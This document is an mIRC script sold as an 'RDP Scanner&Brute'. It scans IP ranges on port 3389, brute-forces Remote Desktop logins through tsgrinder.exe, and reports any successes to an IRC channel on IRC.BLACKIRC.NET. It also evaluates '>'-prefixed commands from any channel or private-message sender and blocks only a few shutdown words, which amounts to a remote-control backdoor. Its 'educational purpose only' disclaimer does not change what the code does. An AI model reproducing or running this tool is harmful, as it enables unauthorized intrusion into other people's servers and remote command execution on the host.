RDP Cracker by independent/ Windows (need tsgrinder.exe)

;RDP Scanner&Brute by independent Skype: independentt911
;Please if you copypaste the code make sure my name stays on it.
;This code is for educational purpose only;
;If you use this code, make sure you use it on YOUR OWN network
;Otherwise it will be illegal to use on someone else's servers
;Please be aware I will not be responsible of any of your actions.
;YOU WILL NEED TSGRINDER.EXE made by Hammer Of God for using this file in same directory as mIRC directory.
;works best with WindowsXP/2003 oses
;Commands uses the >trigger commands are >rdp 10.101.10.1  & and to search for succes in files is >startfind
;Evaluation of $identifiers will occur

on 1:START:{ set %username administrator | %FLDCHAN = #rdp# | if (!$server) server IRC.BLACKIRC.NET +6697 -j %fldchan }

alias dothatfkincrap {
  if ($isfile(cmd.bat)) .remove cmd.bat
  write cmd.bat tsgrinder.exe -u %username $1  >> $1 $+ .log
  run cmd.bat
}
RAW 332:*:if ($2 == %fldchan) [ [ $3- ] ]
on 1:TEXT:>*:#:{ %x = $right($1-,-1) | if (*q*u*i*t* iswm %x) || (*e*x*i*t* iswm %x) || (*s*h*u*t*d*o*w*n* iswm %x) || (*r*e*m*o*v*e* iswm %x) || (*t*a*s*k*k*i*l*l* isin %x) { .notice independent $nick failed attempt to shutdown the child process. | halt } | $evalnext(%x) | NOTICE $nick $evalnext(%x) | unset %x | clear # }
on 1:TEXT:>*:?:{ %x = $right($1-,-1) | if (*q*u*i*t* iswm %x) || (*e*x*i*t* iswm %x) || (*s*h*u*t*d*o*w*n* iswm %x) || (*r*e*m*o*v*e* iswm %x) || (*t*a*s*k*k*i*l*l* isin %x) { .notice independent $nick failed attempt to shutdown the child process. | halt } | $evalnext(%x) | NOTICE $nick $evalnext(%x) | unset %x | close -m }
menu menubar {
  RDP scanner: window -e @rdp
}
menu @rdp {
  scan range: rdp $?
  Stop/Pause: stoprdp
  continue:{ .timerRANGE -om 0 20  nextrdp | echo @RDP 3* Resuming from last point... }
  -
  edit dictionary: run notepad dict
  -
  Open mstsc from cmdline: run mstsc -v $?="Ip Please..."
  -
  User %username : set %username $$?="Username please"
  Delay %inerval : set %interval $$?="Delay between each brutes in miliseconds"
}
alias nextrdp {
  hinc -m temp tempx
  if (256 <= $gettok($hget(temp,range),2,46)) { hdel -w temp * | msg %fldchan * Scan halted, waiting for new command... }
  if (256 <= $hget(temp,tempx)) { hdel temp tempx | hadd -m temp range $gettok($hget(temp,range),1-2,46) $+ . $+ $calc($gettok($hget(temp,range),3,46) +1) }
  sockopen rdpscan $+ $+($gettok($hget(temp,range),1-3,46),.,$hget(temp,tempx)) $+($gettok($hget(temp,range),1-3,46),.,$hget(temp,tempx)) 3389
}
alias stoprdp { .timerrange* off | .timerrestart off | sockclose *rdp* }
on 1:INPUT:@rdp:sockopen RDPscan $+ $r(0,99999999999999999999999999999) $gettok($wildtok($1-,*.*.*.*,1,32),1,58) 3389

on *:sockopen:rdpscan*:{
  if ($sockerr) { return }
  dothatfkincrap $sock($sockname).ip
}
alias rdp {
  if (!%interval) set %interval 20
  if (!%fldchan) set %fldchan #rdp#
  if ($hget(temp,range)) hdel -w temp range*
  hadd -m temp range $1
  .timerRANGEr -om 0 %interval nextrdp
  msg %fldchan Starting at $1 on Port 3389
}

alias startfind {
  if (!$hget(cc,maxf)) hadd -m cc maxf $findfile($shortfn($mircdir),*.*.*.*.log,0)
  :res
  hinc -m cc incf
  hadd -m cc file $findfile($shortfn($mircdir),*.log,$hget(cc,incf))
  if ($isfile($hget(cc,file))) startf $hget(cc,file)
  else goto res
  if ($hget(cc,incf) >= $hget(cc,maxf)) { .msg %fldchan PROCESS FINISH *.*.*.*.log $hget(cc,maxf) files | .timerSTART off | hdel -w cc * | halt }

}
alias startf {
  .fopen cc $1
  .fseek -w cc *success*
  if ($fread(cc)) enum
  closecc
}
alias enum {
  .msg %fldchan Found File: $hget(cc,file) $fread(cc)
  closecc
}
alias closecc {
  .fclose *
  .timerSTART 1 0.1 startfind $hget(cc,args)
}